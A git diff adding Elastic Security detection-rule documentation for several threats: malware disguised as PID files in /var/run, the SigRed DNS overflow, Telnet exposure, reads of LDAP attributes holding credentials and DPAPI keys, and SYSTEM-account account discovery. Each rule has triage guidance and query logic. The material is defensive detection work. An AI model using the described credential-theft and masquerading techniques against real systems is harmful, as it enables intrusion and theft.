diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-abnormal-process-id-or-lock-file-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-abnormal-process-id-or-lock-file-created.asciidoc new file mode 100644 index 0000000000..b1d893b285 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-abnormal-process-id-or-lock-file-created.asciidoc @@ -0,0 +1,198 @@ +[[prebuilt-rule-8-19-20-abnormal-process-id-or-lock-file-created]] +=== Abnormal Process ID or Lock File Created + +Identifies the creation of a Process ID (PID), lock or reboot file created in temporary file storage paradigm (tmpfs) directory /var/run. On Linux, the PID files typically hold the process ID to track previous copies running and manage other tasks. Certain Linux malware use the /var/run directory for holding data, executables and other tasks, disguising itself or these files as legitimate PID files. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.sandflysecurity.com/blog/linux-file-masquerading-and-malicious-pids-sandfly-1-2-6-update/ +* https://twitter.com/GossiTheDog/status/1522964028284411907 +* https://exatrack.com/public/Tricephalic_Hellkeeper.pdf +* https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Threat: BPFDoor +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Elastic Endgame + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Abnormal Process ID or Lock File Created* + + +Linux applications may need to save their process identification number (PID) for various purposes: from signaling that a program is running to serving as a signal that a previous instance of an application didn't exit successfully. PID files contain its creator process PID in an integer value. + +Linux lock files are used to coordinate operations in files so that conflicts and race conditions are prevented. + +This rule identifies the creation of PID, lock, or reboot files in the /var/run/ directory. Attackers can masquerade malware, payloads, staged data for exfiltration, and more as legitimate PID files. + + +*Possible investigation steps* + + +- Retrieve the file and determine if it is malicious: + - Check the contents of the PID files. They should only contain integer strings. + - Check the file type of the lock and PID files to determine if they are executables. This is only observed in malicious files. + - Check the size of the subject file. Legitimate PID files should be under 10 bytes. + - Check if the lock or PID file has high entropy. This typically indicates an encrypted payload. + - Analysts can use tools like `ent` to measure entropy. + - Examine the reputation of the SHA-256 hash in the PID file. Use a database like VirusTotal to identify additional pivots and artifacts for investigation. +- Trace the file's creation to ensure it came from a legitimate or authorized process. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Investigate any abnormal behavior by the subject process such as network connections, file modifications, and any spawned child processes. + + +*False positive analysis* + + +- False positives can appear if the PID file is legitimate and holding a process ID as intended. If the PID file is an executable or has a file size that's larger than 10 bytes, it should be ruled suspicious. +- If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of file name and process executable conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Block the identified indicators of compromise (IoCs). +- Take actions to terminate processes and connections used by the attacker. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:file and event.action:(creation or file_create_event) and +file.extension:(pid or lock or reboot) and file.path:(/var/run/* or /run/*) and ( + (process.name : ( + bash or dash or sh or tcsh or csh or zsh or ksh or fish or ash or touch or nano or vim or vi or editor or mv or cp) + ) or ( + process.executable : ( + ./* or /tmp/* or /var/tmp/* or /dev/shm/* or /var/run/* or /boot/* or /srv/* or /run/* + )) +) and not ( + process.executable : ( + /tmp/newroot/* or /run/containerd/* or /run/k3s/containerd/* or /run/k0s/container* or /snap/* or /vz/* or + /var/lib/docker/* or /etc/*/universal-hooks/pkgs/mysql-community-server/* or /var/lib/snapd/* or /etc/rubrik/* or + /run/udev/data/* + ) or + process.name : ( + go or git or containerd* or snap-confine or cron or crond or sshd or unattended-upgrade or vzctl or ifup or + rpcbind or runc or gitlab-runner-helper or elastic-agent or metricbeat or redis-server or libvirt_leaseshelper or + s6-ipcserver-socketbinder or xinetd or libvirtd or veeamdeploymentsvc or dnsmasq or virtlogd or lynis or + veeamtransport or bash or dash or sh or touch or podman or chrome_crashpad_handler or snmpd or automount or + chrome or yumBackend.py or rhsmcertd-worker or snapd or cp or dotnet or leapp or haproxy or multipathd or + falcond or python* or atopacctd or postmaster or httpd or pulseaudio or iptables or atd or package-cleanup or local + ) or + file.name : ( + jem.*.pid or lynis.pid or redis.pid or yum.pid or MFS.pid or jenkins.pid or nvmupdate.pid or openlitespeed.pid or + rhnsd.pid + ) or + file.path : (/run/containerd/* or /var/run/docker/containerd/* or /var/run/jem*.pid) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-abnormally-large-dns-response.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-abnormally-large-dns-response.asciidoc new file mode 100644 index 0000000000..ce76ed8168 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-abnormally-large-dns-response.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-20-abnormally-large-dns-response]] +=== Abnormally Large DNS Response + +Specially crafted DNS requests can manipulate a known overflow vulnerability in some Windows DNS servers, resulting in Remote Code Execution (RCE) or a Denial of Service (DoS) from crashing the service. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* filebeat-* +* logs-network_traffic.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/ +* https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/ +* https://github.com/maxpl0it/CVE-2020-1350-DoS +* https://www.elastic.co/security-labs/detection-rules-for-sigred-vulnerability + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Impact +* Resources: Investigation Guide +* Use Case: Vulnerability + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Abnormally Large DNS Response* + + +Detection alerts from this rule indicate possible anomalous activity around large byte DNS responses from a Windows DNS server. This detection rule was created based on activity represented in exploitation of vulnerability (CVE-2020-1350) also known as https://www.elastic.co/blog/detection-rules-for-sigred-vulnerability[SigRed] during July 2020. + + +*Possible investigation steps* + + +- This specific rule is sourced from network log activity such as DNS or network level data. It's important to validate the source of the incoming traffic and determine if this activity has been observed previously within an environment. +- Activity can be further investigated and validated by reviewing any associated Intrusion Detection Signatures (IDS) alerts. +- Further examination can include a review of the `dns.question_type` network fieldset with a protocol analyzer, such as Zeek, Packetbeat, or Suricata, for `SIG` or `RRSIG` data. +- Validate the patch level and OS of the targeted DNS server to validate the observed activity was not large-scale internet vulnerability scanning. +- Validate that the source of the network activity was not from an authorized vulnerability scan or compromise assessment. + + +*False positive analysis* + + +- Based on this rule, which looks for a threshold of 60k bytes, it is possible for activity to be generated under 65k bytes and related to legitimate behavior. In packet capture files received by the https://isc.sans.edu/forums/diary/PATCH+NOW+SIGRed+CVE20201350+Microsoft+DNS+Server+Vulnerability/26356/[SANS Internet Storm Center], byte responses were all observed as greater than 65k bytes. +- This activity can be triggered by compliance/vulnerability scanning or compromise assessment; it's important to determine the source of the activity and potentially allowlist the source host. + + +*Related rules* + + +- Unusual Child Process of dns.exe - 8c37dc0e-e3ac-4c97-8aa0-cf6a9122de45 +- Unusual File Modification by dns.exe - c7ce36c0-32ff-4f9a-bfc2-dcb242bf99f9 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Ensure that you have deployed the latest Microsoft https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350[Security Update] (Monthly Rollup or Security Only) and restarted the patched machines. If unable to patch immediately, Microsoft https://support.microsoft.com/en-us/help/4569509/windows-dns-server-remote-code-execution-vulnerability[released] a registry-based workaround that doesn’t require a restart. This can be used as a temporary solution before the patch is applied. +- Maintain backups of your critical systems to aid in quick recovery. +- Perform routine vulnerability scans of your systems, monitor https://us-cert.cisa.gov/ncas/current-activity[CISA advisories] and patch identified vulnerabilities. +- If you observe a true positive, implement a remediation plan and monitor host-based artifacts for additional post-exploitation behavior. + + +==== Rule query + + +[source, js] +---------------------------------- +(event.dataset: network_traffic.dns or (event.category: (network or network_traffic) and destination.port: 53)) and + (event.dataset:zeek.dns or type:dns or event.type:connection) and network.bytes > 60000 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Endpoint Denial of Service +** ID: T1499 +** Reference URL: https://attack.mitre.org/techniques/T1499/ +* Sub-technique: +** Name: Application or System Exploitation +** ID: T1499.004 +** Reference URL: https://attack.mitre.org/techniques/T1499/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-accepted-default-telnet-port-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-accepted-default-telnet-port-connection.asciidoc new file mode 100644 index 0000000000..1d975e1285 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-accepted-default-telnet-port-connection.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-20-accepted-default-telnet-port-connection]] +=== Accepted Default Telnet Port Connection + +This rule detects network events that may indicate the use of Telnet traffic. Telnet is commonly used by system administrators to remotely control older or embedded systems using the command line shell. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. As a plain-text protocol, it may also expose usernames and passwords to anyone capable of observing the traffic. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* +* logs-fortinet_fortigate.log-* +* logs-sonicwall_firewall.log-* +* logs-suricata.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Lateral Movement +* Tactic: Initial Access +* Data Source: PAN-OS +* Data Source: Fortinet +* Data Source: SonicWall +* Data Source: Suricata +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Accepted Default Telnet Port Connection* + + +Telnet, a protocol for remote command-line access, is often used in legacy systems. Its lack of encryption makes it vulnerable, allowing attackers to intercept credentials or use it as a backdoor. The detection rule identifies unencrypted Telnet traffic on port 23, flagging connections that bypass typical security measures, thus highlighting potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify the source IP address associated with the Telnet connection on port 23. Determine if the source IP is internal or external to the organization. +- Check the destination IP address to ascertain if it belongs to a critical system or a legacy device that might still use Telnet for management purposes. +- Investigate the timeline of the connection event to see if there are any patterns or repeated attempts, which could indicate a persistent threat or automated attack. +- Analyze any associated user accounts or credentials used during the Telnet session to verify if they are legitimate and authorized for remote access. +- Correlate the Telnet connection event with other security alerts or logs to identify any related suspicious activities, such as failed login attempts or unusual data transfers. +- Assess the network segment where the Telnet traffic was detected to determine if it is appropriately segmented and secured against unauthorized access. +- Consider implementing network security measures, such as disabling Telnet on devices or replacing it with secure alternatives like SSH, to prevent future unauthorized access attempts. + + +*False positive analysis* + + +- Legacy systems or devices that require Telnet for management may trigger alerts. To manage this, create exceptions for specific IP addresses or subnets known to host these systems. +- Internal network monitoring tools that use Telnet for legitimate purposes might be flagged. Identify these tools and exclude their traffic from the rule to prevent unnecessary alerts. +- Lab environments or test networks where Telnet is used for educational or testing purposes can cause false positives. Implement network segmentation and apply exceptions to these environments to reduce noise. +- Automated scripts or maintenance tasks that utilize Telnet for routine operations may be mistakenly identified. Document these tasks and whitelist their associated traffic patterns to avoid false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any active Telnet sessions on the affected system to disrupt potential attacker activities. +- Conduct a thorough review of system logs and network traffic to identify any unauthorized access or data manipulation that may have occurred. +- Change all credentials that may have been exposed through Telnet traffic, prioritizing those with administrative privileges. +- Implement network segmentation to restrict Telnet access to only necessary internal systems, ensuring it is not exposed to the internet. +- Deploy encryption protocols such as SSH to replace Telnet for remote command-line access, enhancing security for remote management. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for additional security measures. + +==== Rule query + + +[source, js] +---------------------------------- +(event.dataset:(fortinet_fortigate.log or network_traffic.flow + or sonicwall_firewall.log or suricata.eve or panw.panos) + or event.category:(network or network_traffic)) + and event.type:(connection and not end) and not event.action:( + flow_dropped or flow_denied or denied or deny or + flow_terminated or timeout or Reject or network_flow) + and destination.port:23 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-access-to-a-sensitive-ldap-attribute.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-access-to-a-sensitive-ldap-attribute.asciidoc new file mode 100644 index 0000000000..07b8d096bc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-access-to-a-sensitive-ldap-attribute.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-20-access-to-a-sensitive-ldap-attribute]] +=== Access to a Sensitive LDAP Attribute + +Identify access to sensitive Active Directory object attributes that contains credentials and decryption keys such as unixUserPassword, ms-PKI-AccountCredentials and msPKI-CredentialRoamingTokens. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming +* https://social.technet.microsoft.com/wiki/contents/articles/11483.windows-credential-roaming.aspx +* https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Privilege Escalation +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 118 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Access to a Sensitive LDAP Attribute* + + +LDAP (Lightweight Directory Access Protocol) is crucial for accessing and managing directory information in Active Directory environments. Adversaries may exploit LDAP to access sensitive attributes like passwords and decryption keys, facilitating credential theft or privilege escalation. The detection rule identifies unauthorized access attempts by monitoring specific event codes and attribute identifiers, excluding benign activities to reduce noise, thus highlighting potential security threats. + + +*Possible investigation steps* + + +- Review the event logs for event code 4662 to identify the specific user or process attempting to access the sensitive LDAP attributes. +- Check the winlog.event_data.SubjectUserSid to determine the identity of the user or service account involved in the access attempt, excluding the well-known SID S-1-5-18 (Local System). +- Analyze the winlog.event_data.Properties field to confirm which sensitive attribute was accessed, such as unixUserPassword, ms-PKI-AccountCredentials, or msPKI-CredentialRoamingTokens. +- Investigate the context of the access attempt by correlating the event with other logs or alerts around the same timestamp to identify any suspicious patterns or activities. +- Verify the legitimacy of the access by checking if the user or process has a valid reason or permission to access the sensitive attributes, considering the organization's access control policies. +- Assess the potential impact of the access attempt on the organization's security posture, focusing on credential theft or privilege escalation risks. +- Document findings and, if necessary, escalate the incident to the appropriate security team for further action or remediation. + + +*False positive analysis* + + +- Access by legitimate administrative accounts: Regular access by system administrators to sensitive LDAP attributes can trigger alerts. To manage this, create exceptions for known administrative accounts by excluding their SIDs from the detection rule. +- Scheduled system processes: Automated tasks or system processes that require access to certain LDAP attributes may cause false positives. Identify these processes and exclude their specific event codes or AccessMasks if they are consistently benign. +- Service accounts: Service accounts that perform routine directory operations might access sensitive attributes as part of their normal function. Exclude these accounts by adding their SIDs to the exception list to prevent unnecessary alerts. +- Monitoring tools: Security or monitoring tools that scan directory attributes for compliance or auditing purposes can generate false positives. Whitelist these tools by excluding their event sources or specific actions from the detection criteria. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of the access logs to identify any unauthorized users or systems that accessed the sensitive LDAP attributes. +- Reset passwords and revoke any potentially compromised credentials associated with the affected accounts, focusing on those with access to sensitive attributes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach. +- Implement additional monitoring on the affected systems and accounts to detect any further suspicious activities or attempts to access sensitive LDAP attributes. +- Review and update access controls and permissions for sensitive LDAP attributes to ensure they are restricted to only necessary personnel. +- Conduct a post-incident analysis to identify any gaps in security controls and update policies or procedures to prevent similar incidents in the future. + +==== Setup + + + +*Setup* + + +The 'Audit Directory Service Access' logging policy must be configured for (Success, Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Access (Success,Failure) +``` + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code == "4662" and + + not winlog.event_data.SubjectUserSid : "S-1-5-18" and + + winlog.event_data.Properties : ( + /* unixUserPassword */ + "*612cb747-c0e8-4f92-9221-fdd5f15b550d*", + + /* ms-PKI-AccountCredentials */ + "*b8dfa744-31dc-4ef1-ac7c-84baf7ef9da7*", + + /* ms-PKI-DPAPIMasterKeys */ + "*b3f93023-9239-4f7c-b99c-6745d87adbc2*", + + /* msPKI-CredentialRoamingTokens */ + "*b7ff5a38-0818-42b0-8110-d3d154c97f24*" + ) and + + /* + Excluding noisy AccessMasks + 0x0 undefined and 0x100 Control Access + https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662 + */ + not winlog.event_data.AccessMask in ("0x0", "0x100") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ +* Technique: +** Name: Steal or Forge Authentication Certificates +** ID: T1649 +** Reference URL: https://attack.mitre.org/techniques/T1649/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-account-discovery-command-via-system-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-account-discovery-command-via-system-account.asciidoc new file mode 100644 index 0000000000..ca77365193 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-account-discovery-command-via-system-account.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-20-account-discovery-command-via-system-account]] +=== Account Discovery Command via SYSTEM Account + +Identifies when the SYSTEM account uses an account discovery utility. This could be a sign of discovery activity after an adversary has achieved privilege escalation. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Account Discovery Command via SYSTEM Account* + + +After successfully compromising an environment, attackers may try to gain situational awareness to plan their next steps. This can happen by running commands to enumerate network resources, users, connections, files, and installed security software. + +This rule looks for the execution of account discovery utilities using the SYSTEM account, which is commonly observed after attackers successfully perform privilege escalation or exploit web applications. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - If the process tree includes a web-application server process such as w3wp, httpd.exe, nginx.exe and alike, investigate any suspicious file creation or modification in the last 48 hours to assess the presence of any potential webshell backdoor. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Determine how the SYSTEM account is being used. For example, users with administrator privileges can spawn a system shell using Windows services, scheduled tasks or other third party utilities. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation. As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). +- Use the data collected through the analysis to investigate other machines affected in the environment. + + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (?process.Ext.token.integrity_level_name : "System" or + ?winlog.event_data.IntegrityLevel : "System") and + ( + process.name : "whoami.exe" or + ( + process.name : "net1.exe" and not process.parent.name : "net.exe" and not process.args : ("start", "stop", "/active:*") + ) + ) and +process.parent.executable != null and +not (process.name : "net1.exe" and process.working_directory : "C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads\\") and +not process.parent.executable : + ("C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\MonitoringHost.exe", + "C:\\Program Files\\Dell\\SupportAssistAgent\\SRE\\SRE.exe", + "C:\\Program Files\\Obkio Agent\\main.dist\\ObkioAgentSoftware.exe", + "C:\\Windows\\Temp\\WinGet\\defaultState\\PostgreSQL.PostgreSQL*\\postgresql-*-windows-x64.exe", + "C:\\Program Files\\Obkio Agent\\main.dist\\ObkioAgentSoftware.exe", + "C:\\Program Files (x86)\\SolarWinds\\Agent\\Plugins\\JobEngine\\SWJobEngineWorker2.exe") and +not (process.parent.executable : "C:\\Windows\\Sys?????\\WindowsPowerShell\\v1.0\\powershell.exe" and + process.parent.args : ("C:\\Program Files (x86)\\Microsoft Intune Management Extension\\*.ps1", + "Agent\\Modules\\AdHealthConfiguration\\AdHealthConfiguration.psd1'")) and +not (process.parent.name : "cmd.exe" and process.working_directory : "C:\\Program Files\\Infraon Corp\\SecuraAgent\\") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-administrator-privileges-assigned-to-an-okta-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-administrator-privileges-assigned-to-an-okta-group.asciidoc new file mode 100644 index 0000000000..c9b2807f0c --- /dev/null 